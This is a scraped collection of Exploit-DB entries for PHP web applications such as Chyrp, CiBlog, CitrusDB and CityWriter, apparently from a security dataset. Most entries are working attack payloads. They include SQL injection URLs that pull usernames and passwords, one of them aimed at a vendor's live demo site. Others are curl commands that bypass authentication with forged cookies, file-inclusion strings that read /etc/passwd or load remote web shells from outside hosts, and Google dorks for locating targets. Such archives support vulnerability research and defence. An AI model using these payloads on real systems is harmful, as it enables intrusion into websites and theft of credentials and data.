deardaniel/secdata-raw huggingface dataset:
Exploit-DB #35947
Description: Chyrp 2.x swfupload Extension - 'upload_handler.php' Arbitrary File Upload / Arbitrary PHP Code Execution
Type: webapps
Platform: php
Date: 2011-07-29
Author: Wireghoul

Exploit:
source: https://www.securityfocus.com/bid/48672/info
    
Chyrp is prone to multiple cross-site scripting vulnerabilities, a local file-include vulnerability, an arbitrary file-upload vulnerability, and a directory-traversal vulnerability.
    
An attacker may leverage these issues to execute arbitrary script code on an affected computer and in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, open or run arbitrary files in the context of the webserver process, and gain access to sensitive information.
    
Chyrp 2.1 is vulnerable; other versions may also be affected. 

C:
Appended ;*.php in script for the add photo feather (http://www.example.com/admin/?action=write_post&feather=photo) using intercepting proxy
      <script type="text/javascript">
          $(function(){
              $("#photo").clone().attr("id", "photo_fake").addClass("swfupload_button").insertBefore("#photo")
              photo = new SWFUpload({
                  upload_url : "http://www.example.com/chyrp_v2.0/modules/swfupload/upload_handler.php",
                  flash_url : "http://www.example.com/chyrp_v2.0/modules/swfupload/lib/swfupload.swf",
                  post_params: {"PHPSESSID" : "5o3bnghnijk4hlr7vnshi3vb76", "PHPSESSNAME" : "ChyrpSession", "ajax" : "true" },
                  file_size_limit : "100 MB",
                  file_types : "*.jpg;*.jpeg;*.png;*.gif;*.bmp;*.php", <-- #MODIFY!
                  file_types_description : "All Files",
                  
                  file_queue_error_handler : fileQueueError,
                  file_dialog_complete_handler : fileDialogComplete,
                  upload_start_handler : uploadStart,
                  upload_progress_handler : uploadProgress,
                  upload_error_handler : uploadError,
                  upload_success_handler : uploadSuccess,
                  button_placeholder_id : "photo",
                  button_width : $("#photo_fake").width(),
                  button_height : $("#photo_fake").height(),
                  button_action : SWFUpload.BUTTON_ACTION.SELECT_FILES,
                  upload_complete_handler : uploadComplete
              })
              $("#SWFUpload_0")
                  .css({ position: "absolute", top: $("#photo_fake").offset().top, left: $("#photo_fake").offset().left })
                  .before('<div id="progress"><div class="back"><div class="fill"></div><div class="clear"></div></div></div>')
          })
      </script>
Exploit-DB #25242
Description: Ciamos 0.9.2 - 'Highlight.php' File Disclosure
Type: webapps
Platform: php
Date: 2005-03-19
Author: Majid NT

Exploit:
source: https://www.securityfocus.com/bid/12854/info

Ciamos is reported prone to a file disclosure vulnerability. The full scope of this vulnerability is not currently known, however, it is demonstrated that this issue may be leveraged to disclose the source of PHP files contained in a Ciamos installation.

A remote attacker may exploit this vulnerability to reveal files that contain potentially sensitive information. Information that is harvested in this manner may then be used to aid in further attacks against the software and the computer that is hosting the software.

http://www.example.com/ciamosinstalation/class/debug/highlight.php?file=ciamosinstallationpath\mainfile.php&line=151#151
Exploit-DB #10259
Description: Ciamos CMS 0.9.5 - 'module_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2009-12-01
Author: cr4wl3r

Exploit:
   [ Discovered by cr4wl3r \ cr4wl3r[4t]linuxmail[dot]org ]

########################################################################
#Ciamos CMS <= 0.9.5 (module_path) Remote File Include Vulnerability
#Download Script      :  http://sourceforge.net/projects/ciamosmodules/files/
#Dork                 :  die("Hacking attempt");  :D
########################################################################
#
#Vuln : ./ciamos/modules/pms/index.php (line 13)
#       <?php
#          include_once($module_path.'include/header.php'); 
#       ?>
#PoC  :  http://server/modules/pms/index.php?module_path=http://[attacker]/shell.txt???
#
########################################################################
########################################################################
####################[90r0nt4l0 und3r9r0nd c0mmun1ty]####################
########################################################################
########################################################################



   [ Gorontalo / 2009 ]
Exploit-DB #5875
Description: CiBlog 3.1 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2008-06-20
Author: Mr.SQL

Exploit:
#########################################################################
#################### Viva IslaM Viva IslaM ##############################
##
## Remote SQL Injection Vulnerability
##
## CiBlog 3.1 ( links-extern.php id )
##
#########################################################################
#########################################################################
##
## AuTh0r : Mr.SQL
##
## H0ME   : WwW.PaL-HaCkEr.CoM  &  WwW.ATsDp.CoM
##
## Email  : SQL@Hotmail.it
##
## !! SYRIAN HaCkErS  !!
########################
########################
##
## Script  : CiBlog  3.1
##
## site    : www.cistyle.de
##
########################
########################
##
##     -(:: SQL ::)-
##
##    www.site.com/
##         links-extern.php?id=-2+union+select+1,concat_ws(0x3a,user,password),1,1,1,1+from+user/*
##
##  -(:: L!VE DEMO ::)-
##
##    http://www.cistyle.de/demo/links-extern.php?id=-2+union+select+1,concat_ws(0x3a,user,password),1,1,1,1+from+user/*
##
#######################
#######################


#######################################################################################################
#######################################################################################################

                                  -(:: !Gr3E3E3E3E3E3E3TzZ! ::)-

 :: HaCkEr_EGy :: His0k4 :: Dark MaSTer :: MoHaMeD el 3rab :: ALwHeD :: HeBarieH :: MusliMs HaCkErs ::
#######################################################################################################
#######################################################################################################

# milw0rm.com [2008-06-20]
Exploit-DB #10105
Description: Cifshanghai - 'chanpin_info.php' CMS SQL Injection
Type: webapps
Platform: php
Date: 2009-11-16
Author: ProF.Code

Exploit:
=====================================
| cifshanghai.com script The news (chanpin_info.php) by pass
=====================================
Author: ProF.Code
Email : adt@hotmail.com
~~~~~~~~~~~~~~~~~~~~
dork(google) : "Powered by cifshanghai.com"
~~~~~~~~~~~~~~~~~~~~
demo: http://server/chanpin_info.php?showlei=&Leiid=&n=1&id=-177+union+select+1,password,3,4,5,6,7,8+from+fk_admin
user : admin
pass : From site :D
Exploit-DB #40059
Description: CIMA DocuClass ECM - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2016-07-06
Author: Karn Ganeshen

Exploit:
# Exploit Title: [CIMA DocuClass Enterprise Content Management - Multiple Vulnerabilities]
# Date: [July 15, 2016]
# Exploit Author: [Karn Ganeshen (ipositivesecurity.blogspot.com)]
# Vendor Homepage: [cima-software.com]
# Version: [app version] (All)
# Tested on: [Microsoft Windows 2008 R2]

DocuClass is a modular and scalable enterprise content management (ECM) solution that allows organizations to streamline internal operations by significantly improving the way they manage their information within a business process. 

Vulnerability Details

1. SQL Injection [Post Auth]

PoC

Vulnerable URLs & parameters:

A: POST request
/dcrpcserver.php [parameter - uid]
---
Parameter: uid (POST)
    Type: boolean-based blind
    Title: PostgreSQL boolean-based blind - Parameter replace
    Payload: cmd=searchform&action=getsavedqueries&node=&uid=(SELECT (CASE WHEN (7877=7877) THEN 7877 ELSE 1/(SELECT 0) END))
---
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, Microsoft IIS 7.5, PHP 5.2.5
back-end DBMS: Microsoft SQL Server 2008

Impact
An unauthenticated attacker can read or modify data in the application database, execute code, and compromise the host system.

B: GET request
/e-forms/dcformsserver.exe?action=createimagepdf&documentid=1408648&userid=755 [parameter - userid]


2. Access Control Flaws
DocuClass web application does not enforce strict access control.

PoC:
http://IP/medical_records/[PII_REDACTED]/[PII_REDACTED].pdf

Dump all the documents with a bit of scripting.

Impact
An unauthenticated user can access stored documents by directly calling the document url.

3. Cross-Site Scripting

DocuClass web application lacks strong input validation, and multiple urls & parameters are vulnerable to cross-site scripting (CWE-79) attacks.

/e-forms/dcformsserver.exe [action parameter]
/e-forms/dcformsserver.exe [documentid parameter]
/e-forms/dcformsserver.exe [userid parameter]
/reports_server.php [cmd parameter]
/reports_server.php [reportid parameter]
/reports_server.php [uid parameter]

Impact
An attacker may be able to execute arbitrary scripts/code in the context of the user's browser.

+++++
Exploit-DB #31350
Description: CiMe Citas Médicas - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2014-02-03
Author: vinicius777

Exploit:
# Exploit Title: Control de Citas 1.4 (CIME) - Multiple Vulnerabilities
# Date: 01/02/2014
# Exploit Author: vinicius777
# Contact: vinicius777 [AT] gmail / @vinicius777_
# Vendor Homepage: http://www.cgaredes.tk/
# Software Link: http://sourceforge.net/projects/cime/files/latest/download?source=directory

 
[1] SQL Injection - 'USERNAME' vulnerable to time based attack

P0C: POST REQUEST 

POST /cime/citasmedicas.php?pag=citasmedindex HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:22.0) Gecko/20100101 Firefox/22.0 Iceweasel/22.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/cime/citasmedicas.php?pag=citasmedindex
Cookie: PHPSESSID=ftkms6mdqi3039r41felgm39s1; 
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 27

username=[SQL INJECTION]&password=pass


[2] XSS Reflected on citasmedicas.php (must be logged)

P0C = http://localhost/cime/citasmedicas.php?pag=[XSS]



##
Exploit-DB #30312
Description: Citadel WebCit 7.02/7.10 - 'showuser?who' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-07-14
Author: Christopher Schwardt

Exploit:
source: https://www.securityfocus.com/bid/24913/info

Citadel WebCit is prone to multiple input-validation vulnerabilities, including multiple HTML-injection issues and a cross-site scripting issue, because it fails to sufficiently sanitize user-supplied input data.

Exploiting these issues may allow an attacker to execute HTML and script code in the context of the affected site, to steal cookie-based authentication credentials, or to control how the site is rendered to the user; other attacks are also possible.

Versions prior to WebCit 7.11 are vulnerable. 

http://www.example.com/showuser?who=[xss]
Exploit-DB #47427
Description: citecodecrashers Pic-A-Point 1.1 - 'Consignment' SQL Injection
Type: webapps
Platform: php
Date: 2019-09-26
Author: cakes

Exploit:
# Exploit Title: citecodecrashers Pic-A-Point 1.1 - 'Consignment' SQL Injection
# Author: Cakes
# Discovery Date: 2019-09-26
# Vendor Homepage: https://github.com/citecodecrashers/Pic-A-Point
# Software Link: https://github.com/citecodecrashers/Pic-A-Point/archive/master.zip
# Tested Version: 1.1
# Tested on OS: CentOS 7
# CVE: N/A

# Discription:
# Simple SQL injection after application authentication. 

# POST Request

# Parameter: Consignment (POST)
# Type: boolean-based blind
# Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)

Payload: Consignment=1234' AND 9752=(SELECT (CASE WHEN (9752=9752) THEN 9752 ELSE (SELECT 1018 UNION SELECT 3533) END))-- QBEy&Submit=Trace now

# Type: error-based
# Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)

Payload: Consignment=1234' AND (SELECT 4396 FROM(SELECT COUNT(*),CONCAT(0x[PII_REDACTED],(SELECT (ELT(4396=4396,1))),0x716a7a7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- hufy&Submit=Trace now

# Type: time-based blind
# Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: Consignment=1234' AND (SELECT 9267 FROM (SELECT(SLEEP(5)))qpkL)-- OiWK&Submit=Trace now

# Type: UNION query
# Title: Generic UNION query (NULL) - 20 columns

Payload: Consignment=1234' UNION ALL SELECT NULL,CONCAT(0x[PII_REDACTED],0x614b[PII_REDACTED]72456a7177706f6b654d54744e75644e4b[PII_REDACTED]42464c[PII_REDACTED]654e67,0x716a7a7171),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- cUud&Submit=Trace now
Exploit-DB #25099
Description: CitrusDB 0.3.6 - 'importcc.php' Arbitrary Database Injection
Type: webapps
Platform: php
Date: 2005-02-15
Author: RedTeam Pentesting

Exploit:
source: https://www.securityfocus.com/bid/12557/info

CitrusDB is reportedly affected by an access validation vulnerability during the upload of CSV files. Exploitation of this issue could result in path disclosure or SQL injection. The issue exists because the application fails to verify user credentials during file upload and import.

These issues are reported to affect CitrusDB 0.3.6; earlier versions may also be affected.


curl -D - --cookie "id_hash=2378c7b70e77d9c6737d697a46cbe34b;
user_name=testor"
"http://<target>/citrusdb/tools/index.php?load=importcc&submit=on"
Exploit-DB #25101
Description: CitrusDB 0.3.6 - 'importcc.php' CSV File SQL Injection
Type: webapps
Platform: php
Date: 2005-02-15
Author: RedTeam Pentesting

Exploit:
source: https://www.securityfocus.com/bid/12557/info
  
CitrusDB is reportedly affected by an access validation vulnerability during the upload of CSV files. Exploitation of this issue could result in path disclosure or SQL injection. The issue exists because the application fails to verify user credentials during file upload and import.
  
These issues are reported to affect CitrusDB 0.3.6; earlier versions may also be affected.

THe following proof of concept demonstrates the SQL injection vulnerability:
Reportedly supplying ',,,,, as the contents of the uploaded csv file will make the SQL query in './citrusdb/tools/importcc.php' fail.
Exploit-DB #25100
Description: CitrusDB 0.3.6 - 'uploadcc.php' Arbitrary Database Injection
Type: webapps
Platform: php
Date: 2005-02-15
Author: RedTeam Pentesting

Exploit:
source: https://www.securityfocus.com/bid/12557/info
 
CitrusDB is reportedly affected by an access validation vulnerability during the upload of CSV files. Exploitation of this issue could result in path disclosure or SQL injection. The issue exists because the application fails to verify user credentials during file upload and import.
 
These issues are reported to affect CitrusDB 0.3.6; earlier versions may also be affected.

curl -D - --cookie "id_hash=2378c7b70e77d9c6737d697a46cbe34b;
user_name=testor" http://<target>/citrusdb/tools/uploadcc.php --form
userfile=@exploit.csv --form Import=Import
Exploit-DB #25104
Description: CitrusDB 0.3.6 - Arbitrary Local PHP File Inclusion
Type: webapps
Platform: php
Date: 2005-02-15
Author: RedTeam Pentesting

Exploit:
source: https://www.securityfocus.com/bid/12564/info

CitrusDB is reportedly affected by a vulnerability that permits the inclusion of any local PHP file. This issue is due to the application failing to properly sanitize user-supplied input.

This issue is reported to affect CitrusDB 0.3.6; earlier versions may also be affected.

This issue may also allow remote file includes, although this has not been confirmed. 

http://www.example.com/citrusdb/tools/index.php?load=../../../../../../tmp/exploit.php
Exploit-DB #25102
Description: CitrusDB 0.3.6 - Remote Authentication Bypass
Type: webapps
Platform: php
Date: 2004-02-15
Author: RedTeam Pentesting

Exploit:
source: https://www.securityfocus.com/bid/12560/info

CitrusDB is reportedly affected by an authentication bypass vulnerability. This issue is due to the application using a static value during the creation of user cookie information.

An attacker could exploit this vulnerability to log in as any existing user, including the 'admin' account.

This issue is reported to affect CitrusDB 0.3.6; earlier versions may also be affected. 

curl -D - --cookie "id_hash=4b3b2c8666298ae9771e9b3d38c3f26e;
user_name=admin" http://www.example.com/citrusdb/tools/index.php
Exploit-DB #37071
Description: CitrusDB 2.4.1 - Local File Inclusion / SQL Injection
Type: webapps
Platform: php
Date: 2012-04-09
Author: wacky

Exploit:
source: https://www.securityfocus.com/bid/52946/info

CitrusDB is prone to a local file-include vulnerability and an SQL-injection vulnerability.

An attacker can exploit these issues to compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database, and view and execute arbitrary local files within the context of the webserver.

CitrusDB 2.4.1 is vulnerable; other versions may also be affected. 

http://www.example.com/lab/citrus-2.4.1/index.php?load=../../../../../etc/passwd%00&type=base
Exploit-DB #23623
Description: City Directory Review and Rating Script - 'search.php' SQL Injection
Type: webapps
Platform: php
Date: 2012-12-24
Author: 3spi0n

Exploit:
# Exploit Title: City Directory Review and Rating Script SQL Injection
Vulnerability
# Date: 22.12.2012
# Author: 3spi0n
# Script Vendor or Software Link:
http://b-scripts.com/en/18-city-reviewer-yelp-clone.html
# Category: WebApps
# Type: SQL Injection [MySQLi]
# Tested On: Ubuntu 12.10 - Win7

=================================================
# Demo: http://b-scripts.com/demo/city_reviewer/

# MySQLi Detected On:
http://server/city_reviewer/search.php?category=6


=================================================

# My Blog: www.Ryuzaki.in
# Social : Twitter.com/bariiiscan
# My Team: Grayhatz Inc. & Agedz Corp.
# Turkey.
Exploit-DB #38144
Description: City Reviewer - 'search.php' Script SQL Injection
Type: webapps
Platform: php
Date: 2012-12-22
Author: 3spi0n

Exploit:
source: https://www.securityfocus.com/bid/57049/info

City Reviewer is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. 

http://www.example.com/city_reviewer/search.php?category=6
Exploit-DB #11326
Description: cityadmin - 'links.php' Blind SQL Injection
Type: webapps
Platform: php
Date: 2010-02-03
Author: AtT4CKxT3rR0r1ST

Exploit:
cityadmin (links.php) Blind Sql Injection Vulnerability
==============================================================

####################################################################
.:. Author         : AtT4CKxT3rR0r1ST  [F.Hack@w.cn]
.:. Team           : Sec Attack Team
.:. Home           : www.sec-attack.com/vb
.:. Script         : cityadmin
.:. Download Script: http://www.redcow.ca/products/cityadmin/
.:. Bug Type       : Blind Sql Injection
.:. Dork           : "Powered by cityadmin and Red Cow Technologies, Inc."

####################################################################

===[ Exploit ]===

www.site.com/links.php?id=[Blind SQL INJECTION]


www.site.com/links.php?id=NULL+and+1=1       >>> True
www.site.com/links.php?id=NULL+and+1=2       >>> False


www.site.com/links.php?id=NULL+and+substring(@@version,1,1)=5  >>> True
www.site.com/links.php?id=NULL+and+substring(@@version,1,1)=4  >>> False



####################################################################

Greats T0: HackxBack & Zero Cold & All My Friend & All Member Sec Attack
Exploit-DB #25459
Description: CityPost PHP Image Editor M1/M2/M3/Imgsrc/M4 - 'URI' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-04-19
Author: Thom

Exploit:
source: https://www.securityfocus.com/bid/13256/info
source: https://www.securityfocus.com/bid/13257/info
source: https://www.securityfocus.com/bid/13258/info
source: https://www.securityfocus.com/bid/13259/info
source: https://www.securityfocus.com/bid/13260/info

CityPost Image Cropper/Resizer is affected by a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input to the 'image-editor-52.php' script.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/image-editor-52/?m1=[XSS]&m2=[XSS]&m3=[XSS]&imgsrc=[XSS]&m4=[XSS]
Exploit-DB #25458
Description: CityPost PHP LNKX 52.0 - 'message.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-04-19
Author: Thom

Exploit:
source: https://www.securityfocus.com/bid/13255/info

CityPost PHP LNKX is affected by a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input to the 'message.php' script.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/lnkx/message.php?msg=[XSS]
Exploit-DB #25464
Description: CityPost Simple PHP Upload - 'Simple-upload-53.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-04-19
Author: Thom

Exploit:
source: https://www.securityfocus.com/bid/13261/info

CityPost Simple PHP Upload is affected by a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input to the 'simple-upload-53.php' script.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/simple-upload-53.php?message=[XSS]
Exploit-DB #4726
Description: CityWriter 0.9.7 - 'head.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-12-13
Author: RoMaNcYxHaCkEr

Exploit:
# Name : CityWriter 0.9.7 Remote File Include
# Download From :
http://download.hulihanapplications.com/citywriter/citywriter-0.97.zip
# Found By : RoMaNcYxHaCkEr
# Home Page : Not Yet :(
============================================================================
# Vulne Code In File head.php In Line 1:
<? include($path."topbar.php"); ?>
# Exploit :
Www.RxH.com/citywriter/head.php?path=http://www.no-hack.fr/shells/c99.txt?
============================================================================
# Greet To :
Cold Z3ro My Master (Hackteach.org)
Hack15 TeaM (V99x.com)
Sniper-Sa (Sniper-sa.com)
Tryag TeaM (Tryag.com)
Yee7 TeaM (Yee7.com)
My5ql Team
Also: Saudi Kafo , Adel Alroh , Mr-Google , Kill eye , Dr- Wolf4ever And All My Friends
# For Contact : RxH@HotMail.iT
Best Wishes

# milw0rm.com [2007-12-13]